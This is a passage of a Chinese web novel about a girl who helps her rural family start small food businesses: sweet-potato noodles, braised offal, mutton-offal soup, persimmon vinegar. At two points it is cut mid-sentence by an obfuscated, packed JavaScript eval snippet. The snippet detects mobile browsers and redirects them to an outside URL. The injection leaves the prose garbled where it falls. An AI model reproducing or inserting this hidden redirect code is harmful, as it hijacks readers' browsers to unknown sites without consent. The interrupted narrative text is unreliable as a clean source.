云氏自是答应，放了绣篓子，与瑾娘一起跟进了院子。 两个时辰沉淀，直接将桶侧倾即可倒去多余的水分，眼见桶底沉着粉白的膏，看热闹的一家子都忍不住惊叹了。 只这粉膏不过初成，瑛娘支使汪点水洗了手将粉膏捞出来放进缸里，又叫汪点柱打了井水将膏泡开，洗净木桶、细布，才又似初时于另一木桶上架上细筛、铺垫细布，舀了新泡的膏水过滤。 此番洗粉，细布之上只余一层细细的粉渣，桶中膏水更显纯白。 一百斤番薯洗来只剩这一桶，徐氏连“啧”几声，忍不住嘀咕道：“真不知那天宫的仙官儿是怎么想出这吃法的。” 徐氏声儿小，只她牵着的汪连听得，可惜汪连不知其深意，只记得奶说这白水是天仙儿才吃的，登时抑制不住，含着手指盯着木桶流口水。 “再放两个时辰，取了膏块用筛子铺了细布晾上，晒个三五日，全干了就成。” 熬夜的活儿瑛娘自是不做的。 徐氏瞅她那样儿就知道这事儿还得支使人去做，便叫汪点水晚些睡，“这薯粉是瑛娘想来给你和老大做的，你就多上点心，今夜把那膏子晾上，待成了再说卖价儿。” 营生无非挣多挣少，汪点水也乐得干活，便冲徐氏笑，问道：“家里头还有番薯吗？左右今夜得熬一阵儿，我再剁些来一并做了。” “……”徐氏没好气瞪了他一眼，“家里头豆啊番薯的全被你们给拿去用了，想做也得明个儿再进城头去买！” 菽用完了自有汪点德和林氏从十里八村的买来，番薯却只得去城头粮店。 徐氏琢磨着老大老四都没得现钱，只能虎着脸从钱箱子里摸了二百来文交给汪点柱，叫他明儿个推了车去城头买来。 此时安排妥当，各房也就归了个屋去。 薯粉沉淀需得三四日，汪点柱和汪点水又合力洗出了四百斤番薯，瑛娘乐得每天在家吃着闲饭便有钱收，每日少不得与瑾娘在床头摇盒子听钱响，笑闹间与她承诺，攒满一贯余便去换了一两的小元宝给她压箱底。 她说的多了，瑾娘便忍不住笑，问她：“那你攒了多少啦？” “明日再得些就稳够了，安心等着吧！” 分了四日利，瑛娘的钱盒子里已是装上了一贯来。 可惜尚不知兑税，她不想先串了一千再去单记税钱，便由着铜钱零散，待问得兑税 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894209|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再一并串了计数。 瑾娘红着脸又觉眼眶酸、热，搂着瑾娘好一阵亲昵，才小声道：“过几日表哥也该来了，好叫他跟着去套些兔子养着，待你来日出嫁时，我俩也该挣着钱给你添妆了。” 瑛娘没说拒绝，放好盒子牵着瑛娘出了屋，“薯粉该晒得差不多了，一会儿我教家里头打粉条，姐也学着，待以后做给姐夫吃去。” 瑾娘含羞不语，跟着瑛娘进了灶间。 这几日徐氏日日在院儿里头守着，今日见得薯粉晒干便惦记着瑛娘交给家里，偏这贪吃的又惦记上了猪肉，只得掏了钱叫老三带回来。 陈氏也惦记着瑛娘弄出来的薯粉能打成粉条来捞了吃。 这几日，三房分得的几百个大钱已让陈氏开了眼界，满心眼儿想着日日再多卖些，若能把着薯粉包圆，一日便卖个五斤也能多挣许多了。 就是不知道她这婆母得不得同意他们在城头多摆会儿摊，毕竟那桌凳可都是租的，想要整日做营生，必得配个板车带上所有家伙事儿才成。 瑛娘不知陈氏盘算，进了灶间便舀了两勺薯粉，和水调糊。 浓稠的浆糊，拿了盘盏刷上薄薄的一层，置于滚水隔碗烫熟，再入热水一烫便能凝固成冻，瑛娘做了几张便叫汪点柱来，自己拿了粉冻去灶台烘烤，待粉冻变硬，才切了一指宽的条放到簸箕里。 徐氏看得稀奇，端着簸箕瞅了瞅，才叹道：“这叫谁瞧得出是番薯做的？” 瑛娘笑了笑，又估摸着重舀了二两薯粉，捻了一小撮盐，加了七两水一并上锅以小火熬煮，煮至如藕粉那般粘稠的粉糊，待其温冷却才又加了二两干粉一并搅和。 和好的薯粉团只比扯面条的面团略湿一些，瑛娘取了粗孔的筛将粉团放进去一通捶打，漏出的细粉入水便烫得微卷起伏，约摸有一两的量瑛娘便不打了，见湿粉熟透，便连汤带粉一并捞进了碗里。 可惜灶间只有简单的油、盐，瑛娘干脆捞了一勺汪辰的酸菜炖兔子佐味，取了筷子便要徐氏来尝。 徐氏只迟疑了两息便下了筷，一口滑嫩入嘴，徐氏登时瞠目，嚼着粉条越吃越香，好半晌才开口叹道：“好吃！” 就捞了这一碗，徐氏自然不会吃完，转手又给了汪木匠。 汪木匠比徐氏更喜酸，一夹酸菜一夹粉，包在嘴里头吃得也是双目灼灼。 见两老口如此模样，陈氏如何不喜？ 这滋味必定比鸡汤捞面吃着香！ 总归这番薯出粉不多，若不增量，便叫她包圆了又如何？ “大哥，四弟，你们这营生合该跟咱们三房搭伙儿买卖啊！” 陈氏的算盘打得哐当响，徐氏也在心头算了一笔账。 一百斤番薯出二十斤干粉，瞧着这又熬有煮的也没多出个多少，卖到外头去估计还得搭上一门吃食手艺，倒不如真叫老三一家子包了去城头卖去。 好歹独一门儿的东西不是？ 汪点水倒是无所谓与谁买卖，卖给三哥家也省了他和大哥麻烦，但这薯粉说白了就是瑛娘看在亲缘份儿上扒拉他四房，所以要怎么卖，卖多少，且还得看看大哥和瑛娘作何想。 22. 书生 汪点柱是个榆木脑袋，管这一家子算盘打得多响，他都只管埋着脑袋烫他的粉皮。 徐氏对这个大儿实在没恁多言语，只好叫瑛娘越过她爹来做主。 总归是她琢磨来的，哪样主她做不得？ 瑛娘觉得无甚所谓。 这买卖与谁做她都在家头坐着等收钱，只是这薯粉不止一房来做，又是卖给自家做营生，倒不好定价过高，她也不好多分了利。 瑛娘估摸着算了下盈收，便与陈氏照实了说，“番薯虽贱价，做成薯粉却很是费功夫，若卖给外人，那我必定给个一斤三十文的价，但三叔三婶要买了去捞粉，这薯粉便定个二十文，叫我爹和四叔挣个辛苦钱，不至于亏了这独一家的名头。” 一百斤番薯出粉不过二十斤，这一通水洗、晾晒，又是独一家的，卖个二十文也不算太狠心。 只是一斤薯粉只能卖个十份，还需得加了浇头才好作一份卖才好吃，一碗定五文便觉有些贱价，陈氏琢磨了一阵，便想按六文一碗来卖，如此不显得比卖面差，也能多些盈收。 想罢，又趁机与徐氏道：“娘，若多做这粉条的买卖，只晨间两个时辰可是不够了啊！且打咱多了烧兔子后，来咱摊子的食客也是多了不少，百来碗面不消两个时辰就能卖完。要不我和老三从村头交好的几家借桌凳吧？大不了受些累，拉了板车去城头。” 三套桌凳借一天，便是一家给个一文来钱也是叫人高兴的。 只是家里头只有一架小板车，拖不得恁多东西，还得叫两老口再贴补贴补，制备一架大的才行。 陈氏一说徐氏就知道她在打什么算盘，没好气瞪了她一眼，只叫瑛娘先谈怎么分利。 这营生暴利，瑛娘也是为着一口吃的才做，便道：“爹和四叔辛苦，这薯粉我就取一成利，剩下的奶和爹、四叔均分。” 瑛娘和汪点柱加起来算得大房得了四成，但这一家子全靠瑛娘，也没甚好计较，徐氏点头允了，这才点了陈氏和汪点书去正房摆谈去。 这几日各房氛围极好，便是何氏这个话少的也常给瑛娘笑脸，眼下四房总算得了个来钱的消遣活儿，何氏也更亲近了些，待得灶头忙活的汪点柱歇手，她便抱了宽粉条子问瑛娘想如何吃。 没得辣子，这粉条自是拿酸菜炖更好味。 瑛娘与何氏商量了用量，扭头又去菜园子掰了一颗菘菜，这才叫何氏切了肉一锅炖了。 肉都吃了，自也不差这一顿大白米饭。 况且灶头的米都是徐氏先打好的，何氏掂了掂量便知今晚也是吃干的，且叫了瑛娘出去等着，便一锅炖菜，一锅熬煮沥米蒸饭，放手忙活了起来。 除非饭菜，先头瑛娘教三房打粉用剩下的粉糊自然也不得浪费，捞了粉用炖菜汤水一浇，也叫一家子老小吃个鲜。 这一顿可叫一家子老小吃了个肚饱腰圆。 吃得好才好使劲儿去挣钱。 隔日一早，老汪家又整家儿忙活了起来。 大房自与四房每日保够三房的薯粉需求，二房也是铆足了劲儿拉驴推磨，三房则起得最早先借了别家的板车拉了桌凳往城头去。 那些个忙营生，家里头云氏、何氏忙完家里的活计也没闲着，带了小林氏在院儿里头绣帕子，瑾娘则被云氏拘在了屋里绣鸳鸯——练熟了手才好叫瑛娘染了红布来绣喜帕。 汪木匠和徐氏也是难得清闲，瞅着各有事做心头便觉满意，扭头再看，却是瑛娘带了玥娘和汪连闲得在院儿里招鸡逗兔，追来打去，连衣摆扫过拂倒的笤帚都懒得捡一下。 “……” 徐氏看不过眼，偏这瑛娘如同老汪家的财神爷，眼一闭便出了院子，自去村头找别的婆子摆闲取了。 汪木匠倒觉闲趣，看过一阵也去了杂间寻摸工具打样，算好了工量，春耕后才好上山找木头。 又待七日，家里头女眷绣的帕子也叫汪点德挑出去卖了个干净。 二房这几日菽乳卖得多，自是汪点德和汪会分两头各去卖，汪点德比汪会能说道，一日里总比汪会卖得快些。 这日拿了帕子去，汪点德便使了个心眼儿，转找那爱俏的姑娘、婆子说话，摆闲正待热闹时，他便趁机拿出帕子销。 “那些个婆子可真肯掏钱！十个、五个的铜板给得比买咱家菽乳还痛快！” 二十条丝绢、四十条棉绢，汪点德本意分得四五日多去几个村口销销才好，没成想这一日走过四个村儿就给全卖干净了。 绣好的帕子能销出去，云氏最是高兴，当即点了自个儿二十张帕子的几十个钱给瑛娘，好叫她来日再去城头买些布块回来染绣。 瑛娘也没推拒自家亲娘给的利钱，笑着将钱一收，又叫何氏与小林氏赶紧结了。 何氏和小林氏正高兴，也忙不迭点了钱来叫瑛娘收好。 “过两日我就去城头买新布，五哥六哥再帮我摘些上回染蓝的那草儿回来。” 这几日山头陷阱收获甚是不错，汪文、汪武两兄弟天见不亮就盼着上山去，被支使了也是满口答应。 “那蓝染确是不错，回头三哥买来布，出了钱叫妹妹染，再裁两身衣裳，可不得叫三嫂喜欢啊？” “……” 汪辰的媳妇儿还没影，汪武一提倒叫徐氏和陈氏想起半月前想让瑛娘去换亲的尴尬事儿，两人一心虚，气短之余，瞪了汪武便遁逃了。 汪武讨了个没趣，见瑛娘面无异色，才嗅了嗅鼻子，去院儿里头逮了兔子杀好与汪辰。 且不知堂屋里另几人心绪如何复杂。 然，事过如云烟。 瑛娘心头不挂事儿，又在家头闲耍了两日，才带着钱盒子蹭了三房的板车去城头。 三房板车要得急，汪木匠没得恁多精力来打，便叫徐氏拿了四百文钱与三房去城头买现成的。 新板车足够大，汪点书怕瓦罐坛子磕碰，板车上便只放了桌凳，中空处加塞了箩筐固定炉、瓮。 眼下三套桌椅叠叠放好，边角还有空余，叫瑛娘这等没甚体量的小娘子坐着刚好。 汪辰拉得吃力，木轮子一磕碰便眉眼乱飞，见瑛娘颠颠儿的还笑，当即一个白眼儿飞来。 汪辰样貌不错，便是翻白眼也比一般的农家子好看，可惜就是太瘦，一身骨架子，瞧不出力量感。 思及此，瑛娘想起某一世被她气得倒栽的“绩效”，不禁怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900603|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念起那一世身侧环绕的各色美男。 可惜呀，这时候一家子吃饱饭都困难，要么就是面朝黄土背朝天的糙汉，一个也瞧不出美感。 看来还得再等个六七年，攒了钱去府城才好“见世面”。 进了丰县城门，瑛娘跳了车便往东市去。 丰县的东市未设银号，只一家银楼可兑换银钱，但这银楼兼顾金银首饰的买卖，于东市往来者也算方便。 这几日瑛娘的钱盒子早装够了两贯余，进了银楼便直接问兑税。 银楼的伙计见瑛娘矮小，怕她是来作怪的，得见她钱盒子里当真装了钱来才与她道：“你家大人怎么没来？倒叫你一个小娃娃抱着钱来。” “他们在档口做营生，我是替爹娘跑腿来的，大哥哥能帮我换换吗？只换一个一两的小元宝。” 东市档口做营生的的确多得铜板来换，一两的元宝都是换来走礼的，倒也不稀得作怪。 伙计点了头，便叫瑛娘拿了钱盒子来点一千一百文。 一成的兑税。 瑛娘的手几不可见的顿了顿，然面上不显，随即便按伙计说的数将铜板点了出来。 一堆铜板换来一小锭银。 瑛娘估摸了一下余下的铜板数，算得这盒子钱还能再换来一个银锭，又想着一会儿指不定要花多少，索性把小元宝丢了进去，抱着盒子离了银楼。 身量小，装钱的盒子确是不好藏。 瑛娘取了三百来个铜钱兜在衣袖的囊袋中，找了个隐蔽处将盒子放回了仓里，一路又往布行去。 布行常有布头卖，碎些的论斤称，好些的按方算。 瑛娘上回买布块便叫掌柜留了印象，今日再来，掌柜便忍不住问她拿了恁多布块都做了啥。 “小侄子快出生了，我帮嫂嫂买了好给小侄子缝衣裳。” 时人常制百家衣，掌柜听罢也没多怀疑，只当她家讲究，不喜那太碎的布头。 “那你还要多少？” 瑛娘假意想了想，道：“嫂嫂产日怕是在隆冬，掌柜可能多卖些与我？六十方丝绢……再要六十方棉绢。” 这数掌柜拿得出，却也是极数，若今儿个全卖给了瑛娘，那些常来布行买布块的娘子怕是都得过些日子才买得着了。 但被瑛娘全神注视，掌柜也不好说拒绝的话，干咳着避开视线，才沉着脸将柜下放了布块的篓子抱出来与她。 “多谢掌柜！掌柜心善！” “……下回可再没恁多了。” 瑛娘拿了布块，又笑着谢过才给了钱离了布行，一路走至书肆，不经意间瞥到一道别于常人的颀长身影，双目追视，见其修身的素白学子袍下肩宽腰细，顿时没忍住喉头一滚，吞咽了不争气的口水。 身着学子袍的大多都是有点学问在身上的读书人。 瑛娘避开路人往书肆靠去，待得稍后能见其面目处才停下，抱着布块站定，支棱着耳朵去听那书生的声音。 书生要买笔墨。 瑛娘听得他全然不似平常所听乡音的语调，如娟娟泉水，又带着少年特有的暗哑，一时麻意顺着脊背窜至颅顶，好一阵回过神来，却见书生早没了踪影。 23. 冬月（三合一大章奉上） 因着没能看见书生正脸，瑛娘归了家也很是惦记了几日。 不过待得汪文、汪武那几个兄弟背来了野柿子，瑛娘便没那心思再去想什么书生了。 活儿不等人。 瑛娘从灶间翻找了合适的瓦缸，又拽着徐氏拿来了她攒起来轻易不舍的用的油纸，才支使着玥娘帮忙摘柿蒂。 这半月来整家儿都忙着活计，六岁的玥娘早觉出了不寻常，听得瑛娘支使自是喜上眉梢，抱了矮凳便挨着瑛娘在井边坐好。 瑛娘不敢给她用刀，便从云氏那儿拿了小剪子来让她用尖儿挑，“好好干，姐姐给你开工钱。” 玥娘笑得眉眼弯弯，重重地点了一下头，“嗯！” 野柿子质地较硬，眼下这时节摘来也还未熟烂，玥娘手小，只得将柿子放在膝头，一手按着一手挑。 没得别人帮忙，这四十来斤柿子只摘蒂便摘了大半个时辰。 瑛娘闲着养身体，也是许久没下过真功夫，这会儿额上出了一层毛毛汗，干脆扯了袖子一抹，才将柿子铺开来以清水冲净表层的浮尘。 也不必洗得多干净，冲过水再风干表面多余水分就成。 但这醋好歹是自家酿来自家吃的，柿子入缸前，瑛娘还是烧了一锅滚水来烫缸消毒。 临了日落，柿子风干，瑛娘才将柿子齐齐整整的码入缸中压实，用油纸盖了两层，再以麻绳系口，叫来徐氏帮忙抬去粮仓窖存。 这一缸存到来年秋收后再开最好。 徐氏今日又回了上湾村一趟，柿子入缸时才得以看个稀奇，不过山头的野柿子滋味不比秦家的林子结的那般好，徐氏也没叫家里头看热闹的老小贪嘴，放好柿子缸才拉了瑛娘问这一缸子算不算营生。 “柿子不是价高么？做这营生的本钱可不低。” “……那不是有野柿子么？” 瑛娘忍不住一笑，叫徐氏好一阵脸热。 不过瑛娘也不至于逮着长辈嘲讽，索性掰扯开与徐氏细细讲。 上回进城，瑛娘顺道去杂货铺子问了醋的价。 城里的醋都是按壶打，常用的壶一般也就装个一斤的量，所以一壶八十文足足算得高价。 上湾村有柿子树，但那是秦家种来自个儿吃着耍的，一年顶天儿了能产两千斤，便是包圆了来酿醋，一年也只能产出五百斤。 五百斤醋能做个什么营生？ 且自家酿的柿子醋，要么挑着卖与十里八村的农户，要么拿去城头交给杂货铺子代销，如此一来，卖价必定还得低上许多。 一百斤柿子醋需得本金三千二百文，五百斤就得一万六，其中人力可以忽略不计，但酿期长，酿成后便是卖个六十文一斤，一年到头来也只挣得来一万四千文。 “这一年十几两的盈收听着也算个不错的营生，但山头的野柿子不多，今年产的全在我这儿了，奶也瞧见了，一缸子，拢共也就四十来斤。咱总得考虑秦老爷愿不愿将那柿子全卖给我们吧？秦家可是商户，要是哪家的去与他包圆柿子，秦老爷能猜不到这柿子是用来做营生的？” 不说别的，城头的点心铺子就有柿饼。 秦老爷再和善那也是个家产丰厚的生意人，找来短工把柿子全摘了压成柿饼放到城头去卖，可不比直接卖这八文钱的生柿子来钱多些？ 倒也能用其他贱价的原料酿醋。 但传统的醋、糖从来都是暴利行业，城头自有那捏着方子的大户来做，他们这些没钱没权的农户去碰，纯纯就是老寿星上吊——活腻歪了！ 徐氏打了个哆嗦，想到二房做的菽乳，顿时冷汗暴出，“那……那咱家的菽乳？那不也是城头小姐的嫁妆方子？” “菽乳利薄，且一听便知原料是何物。点菽乳的秘法也并非一种，便是有别家的试着做出来，也不至于叫捏着方子的商户动怒。” 想来也是。 一方菽乳二文利，便是忙个一年到头也挣不来多少，想来那富家小姐也瞧不上这丁点儿。 徐氏长吁了一口气，好悬没叫冷汗落下来，半晌，依旧觉得有些不甘，只得厚着脸皮叫瑛娘帮着出个主意，“这些年你娘身子不好，咱家常找你舅爷家打饥荒，要么你寻摸寻摸还有没得能叫他们做了挣个闲钱儿的营生？总不好丁点儿恩情都不报……” 按着亲疏远近，帮也该帮云氏娘家那头的舅家，毕竟云氏生病，她娘家也常带粮来探望，只是云家家贫，拿不出多的银钱来相帮，所以才叫徐氏不与云氏好脸。 不过于瑛娘而言，无论哪边舅家都是生人，能帮则帮，帮不了她也不委屈自个儿，徐氏那头好歹开了这个口，先帮了，也无甚所谓。 "奶先与我说说，舅爷家中几口人，多少田？" “除开嫁出去的，得用的有个二十来口吧。田有八十亩。” 这人口也是因着老徐家至今没分家。 二十来口人侍弄八十亩地轻轻松松，但农闲时，这一家子凑作堆也闲得叫人难受。 瑛娘盘算了一下，点头道：“倒有几样能跟咱家一起做的，原也想着来年等办完姐姐的婚事再与家里商量请谁来做，有舅爷家掺一股也更妥当。” 徐氏默然。 自家除了瑛娘，也就他们两老口和玥娘、汪连闲着了，难道是什么轻省的活计？ 但轻松得连他们两老口都能做，应也用不上十几二十口人吧？又叫她娘家兄弟的家小来作甚呢？ “好瑛娘，快说吧！” “都是些吃食。” “一个么，是叫舅爷家买了二叔二婶做的菽乳来做干儿，菽乳干吃法颇多，做好了也能有不错的盈收。” “一个呢，是做卤味。城头饭馆里卖的酱牛肉就是卤味的一种，不过牛肉难得，舅爷家自不必去做那等金贵物。” “城头屠户每日都杀一两头猪，少不得有那下水要处理，可叫舅爷家与屠户谈好，每日都买了那猪下水回来洗净了卤煮，卤好切了按份儿卖就不错。这卤下水也可做浇头，类同鸡内腑，酸菜酿一酿更好味，若城头的人吃着不嫌埋汰，三叔三婶也能借此多卖上几碗面、粉。除了下水，蹄膀、猪头肉也能焐了，比寻常猪肉卤得更好吃些，我瞅着城头没得卖的，做出来应也算得独一门的生意。” “再一个就是饮子。咱不做那等甜味儿的，只做寒冬里头的热饮。城头少有人吃那羊杂碎，若舅爷家有那屠宰的本事，自可去坊市帮富户屠羊。杀了羊，便可与不喜杂碎的富户买了来洗净焐好，切碎了走一遍油再炖汤，待汤至奶白，撒上香葱，自成一锅浓香的热饮。” “这三样是比较轻省的，本钱也算不得多高。只菽乳干能一次多做些，卤味、杂碎汤却得日日保鲜儿。舅爷家要做便与我说，做哪样、需得哪些东西，我才好列个单子，叫舅爷家先备齐了好学。” 做了这些日子的营生，徐氏也是琢磨出什么买卖好来钱了。 只那毕竟是娘家兄弟，惯会替人做主的徐氏也不好直接与瑛娘定下，便只道明日再去一趟上湾村。 瑛娘自是同意，待得出了粮仓，才似想起什么，拽了徐氏问道：“奶，我瞧着家里只有长粒的稻米和麦，咱村儿没得种那稌米的么？” “稌米？” 瑛娘见徐氏蹙眉，心说糯米该是还没推广开来，又怕自个儿记错了名，便顺嘴又解释了一番糯米的性状。 徐氏听过便作恍然：“你说的是江米吧？那是江南府才有的金贵物，咱们村儿当然没得人种。不过早两年，你舅爷好像说过秦老爷家开了十亩地来种江米，也不知今年如何。怎的？你想买江米吃？” “若是不贵，买些也不错。” “那我明儿个帮你问一嘴。” “多谢奶。” 糯米吃法多，买来除了能做麦芽糖给家里头尝尝味儿，也可直接磨了粉来做团圆。 眼下已是冬月。 过年嘛，总得吃些甜嘴儿的。 “得了，赶紧吃了歇着，这天儿寒了不少，仔细被冻着了。” 瑛娘自是答应。 窖存了柿子，瑛娘又闲散了下来。 好在徐氏行如风火，只去了上湾村半日，就带着娘家的两个侄子和两个侄孙儿回了家。 同时，也为瑛娘带回了好消息。 “秦老爷家今年也收了十亩地的江米，我顺道去问了问，说是乡里乡亲的，买来自家吃的，一斤便只算个十文。” 普通稻米一斤五文，这十文的糯米，轻易还不能蒸煮做饭，的确算得金贵。 不过家里头这些日子也是挣了不少，便是瑛娘手头剩下的也足足能买一石余，买个二三十斤吃吃耍应也不值当什么。 如今徐氏对瑛娘也是多了几分了解，见她目光下斜，便大概猜得她心头想着什么，登时“嗤”的笑出声来，撂了背篓招呼她看。 三门营生半月就给徐氏攒了好几贯钱，眼看打娘家借来的八贯再几日便能还清，又忧着这江米许是也能做个什么买卖，去问价时她便打了主意多少买些来叫瑛娘做，问得来才十文，便一气买回五十斤，也省得做来一家子都不够分。 瑛娘一见那大半口袋糯米便乐得一抚掌，扬声便来一溜儿夸赞的话，说罢还不忘结语：“奶可真大方！” “家里头宽裕了，奶又怎么会抠搜？从前那般还不是想叫家里日子好过。” 瑛娘抱着粮袋费劲，但笑不语，招来刚好进门儿的汪文，支使他接了粮袋去灶间放好。 汪文接过粮袋还掂了掂，感觉像是大米，有些惊奇，“这粮怎么单拿出来了？诶？表叔、表哥咋来了？” “瞧我这记性！” 徐氏一路都盘算着怎么讨瑛娘高兴，这会儿记起正经事儿，才一拍脑门儿，叫瑛娘认识她娘家来的亲戚，“这是你大表叔、四表叔，二表哥、四表哥。” 瑛娘依着介绍叫了，徐氏又扬声叫另头忙着的林氏留个四五来方菽乳晚间炖来吃，这才与瑛娘说道娘家的打算。 老徐家只分房不分家，眼下要做营生也是阖家使力，但徐氏的亲大哥琢磨着那菽乳干耐放，指不定得影响老汪家二房的正经生意，所以便舍了那营生，只叫老徐家大房和二房各出两人来学着做卤味和杂碎汤。 “你大表叔和二表哥是你大舅爷家的，他们学做卤味。你四表叔和四表哥是你小舅爷家的，他们会屠宰，这些年常帮着秦老爷家宰杀山头猎来的珍味儿，有这一手进城好寻摸，便学了杂碎汤去。” 这四个都是憨厚的性子，不然也不得干站这许久，闻言爽朗一笑，也撂了背篓拎出了阔叶包着的下水和羊杂碎。 “今日赶巧儿帮秦老爷宰了猪、羊，这下水和杂碎，瑛娘你瞧瞧可还得用？” 冬月里来熏腊肉，秦老爷家常年以松木熏了猪五花来作礼，老徐家能赶上这趟巧也是幸运，与秦老爷讨要下水和杂碎时还允了这两样做出来先叫他尝尝滋味。 瑛娘也是没想到全巧到一处来了，略有些尴尬，点了点那血骨淋当的下水，道：“卤味需得备齐大料，眼下却是做不出来。那大料含括八角、桂皮、小茴香、花椒、丁香、生姜，除了花椒、生姜，其他几样在药铺便能买来。八角贵价，但一锅卤水只需得五颗，约摸就是百来文的本钱，桂皮、小茴香、丁香价却不高，一次用量约摸也就十来文。” 下水处理起来也不容易，瑛娘不愿那般麻烦，便只打算叫他们做心、肝、肺、大肠的卤味，等哪日方便了，去城头买了蹄膀和猪头来，他们应也能自个儿焐熟了用卤水一锅煮下。 徐氏没料到还有大料的事儿，沉默半晌，索性不去想那贵价的八角，只问：“那卤好了如何定价？” 这时候猪都养不肥，那几样下水收拾好估计也就十六七斤，卤出来顶多八斤半，一锅卤水算上本钱就得一百二往上，哪怕复卤一次，这本钱也算得六十文。 且这下水不是日日都能白得来的，去城头买，一副下水怎么也得花个二十来文，所以一斤少说得卖个三十来文才有赚头。 老徐家的二表哥算账也是一把好手，听过便估了一下盈收，忍不住惊叹，道：“一斤好肉才十文嘞！这猪下水平日没得人吃，三十文……” 城头那些个贪嘴的得多傻气才肯掏着钱呢！ 徐二表哥吁了一声，好悬没叫瑛娘听得他骂人傻气。 瑛娘自然知道三十文一斤听着吓人，好言多话两句：“所以才说切好了论份儿卖。一斤三十文，一份切够一两也不过三文而已。城头恁多人，舍得花那三文尝个鲜儿的可不见得少，你们卤了去卖，切出一小碟先叫他们尝个味儿，他们吃着味儿好，三文、六文、十五文的不就掏出来了买了？” “再就是，三叔三婶若想拿了去面摊子搭着卖，一两分成五份，二钱只收一文，便是一日卖得一斤的量，不也能净赚个二十文？” 徐二表哥没这般算过账，愣过一阵，才惊觉这论份儿来卖当真弯弯绕绕！ 不过想来也是，花个三文钱尝个鲜，若吃着不错，那一份一两也不够填肚儿，可不得再多买几份？ 一日卖个八十五份，一月累积也有五贯余了。 徐二表哥咧着嘴直笑，偏他面前站着的是表妹子，不然合该抱着拍两掌才叫亲热。 “那明儿个我跟我爹去城头买来大料再与表妹妹学，今儿就先把这下水都洗洗放好，左不过天冷，井水一镇，一日两日的也坏不了。” “好。那四表叔、四表哥先将羊杂洗净？” 自是不需瑛娘动手，徐四表哥便拎了羊杂碎去井边打了水来清洗。 羊血滋补，秦老爷自是不会予他们，所以阔叶里只包了羊肠、羊肚、羊心、肺。 但时人少吃内腑，只知洗菜都用清水，瑛娘见徐四表哥将那羊肚剖开冲洗数次便算完，登时摇头，去灶间抱了盐罐来。 “这般洗可洗不干净，四表哥用盐搓。” 徐氏：“……” 徐氏不忍看，心道：得亏这闺女是咱家的，不然这一把子盐下去就得闹翻天。 盐搓过，再以麦面复搓，待肚囊内外油脂去了大半，才又清洗了下锅焯水，借着热水撕去皮上黑膜，如此才算干净。 羊肠也是类同的洗法，只心肺清洗需要往其内多次灌水，反复排血，直至浸泡再无血水才好。 洗好的羊杂都焯过水，切碎了以猪油爆香，趁着这会儿烧上一锅水，待羊杂出色，才一盆滚水入锅，熬成纯白的羊汤，若吃不得腥臊，加些白芷味儿也更好。 这一通活计，瑛娘只动了嘴，待得杂碎汤出锅，她却是第一个尝味儿。 “可惜没有羊油，还是原滋原味儿的香味更浓。” 说罢，又叫徐氏端了碗尝。 徐氏吸溜一口，倒也没觉得有多腥臊，忍不住笑：“好赖话儿全叫你说了。” 瑛娘也笑。 试味儿的一瓮只切了少许杂碎，若全炖了，一瓮汤水带杂碎约摸也能捞个百来碗。 一碗定个三文的价，再蒸些馒头来半卖半送，这杂碎汤的盈收便是纯利了。 “半卖半送？” “一斤麦面少说能蒸来八个馒头，本钱多少？不过五文，别家单卖馒头一文一个，咱们搭着杂碎汤卖，便是一文两个也亏不着，赚头全在杂碎汤上。可惜这营生得看富户家杀不杀羊，最多只做得寒冬腊月时，过了正月，再想做也做不成了。” 不过一日挣三百文，便只做八十来日也能得二十四贯盈收。 徐四表哥自是乐得呲牙，眼看日头落半，当即取了一半杂碎来下锅爆炒，“今晚好叫大家都尝尝味儿！” 有了杂碎汤，徐氏也乐得搓面蒸馒头，这二十三张嘴要吃饱，少说也得蒸个三十来个，一锅还真蒸不出来，只得分了四锅，待得日头落尽才端上了桌。 食好滋味，夜间也睡得暖香。 徐氏不好当着一家子老小与瑛娘谈如何分这猪下水和羊杂碎的利，待得瑛娘一觉睡醒，才拉了她在檐廊下悄语。 “咱家可是指着报恩教的你舅爷家做营生，那利可不好取太高……” “奶放心，家里如何算的，舅爷家我也差不多一样算。只舅爷家过来一趟也是不易，待除夕前过来结一次利就成，年后做的便按月算。” 猪下水本钱高，利不算厚，取个一成意思意思就成，倒是羊杂碎可不好再像三房的面摊子那般白送，取二成最适合。 徐氏这才大松了一口气，“瑛娘可给奶争脸。今年奶出钱给你买新布，就买那三百六十文一匹的丝绢，你染了好叫你娘帮你裁两身来年穿的新衣。” “行呀，奶给我买两匹，一匹鹅黄、一匹妃色，四身衣裳这才好换。” “……行。” 白得两匹布，瑛娘自是高兴，简单吃了两口便去灶间拾掇粮袋。 五十斤的糯米很有些分量，瑛娘准备拿了二十斤来做麦芽糖，另三十斤，按照家里头的食量，少说得取六斤来磨了粉来搓团圆才够。 粮仓里头还有花生，再去城头买个一两芝麻，一起炒熟了剁碎，拌了猪油和成馅儿……那滋味，自是不必言表。 剩下的糯米也不急做，待年里头大家都歇了才好支使劳力打糕。 瑛娘取了二十斤、六斤分放，又将剩下的糯米重新系了口放好，才出了灶间去找徐氏要今年的新麦。 煮二十斤糯米，麦需得五斤。 五斤麦需得温水浸泡至少五个时辰，再捞出放至粗孔筛以细布盖上，每日喷水，以待麦芽生长，长个三日麦芽根便能扎紧筛孔，有了根便不必再每日盯着喷水，撤下细布，座上装了水的浅盆，由着它再长个三日便能得用。 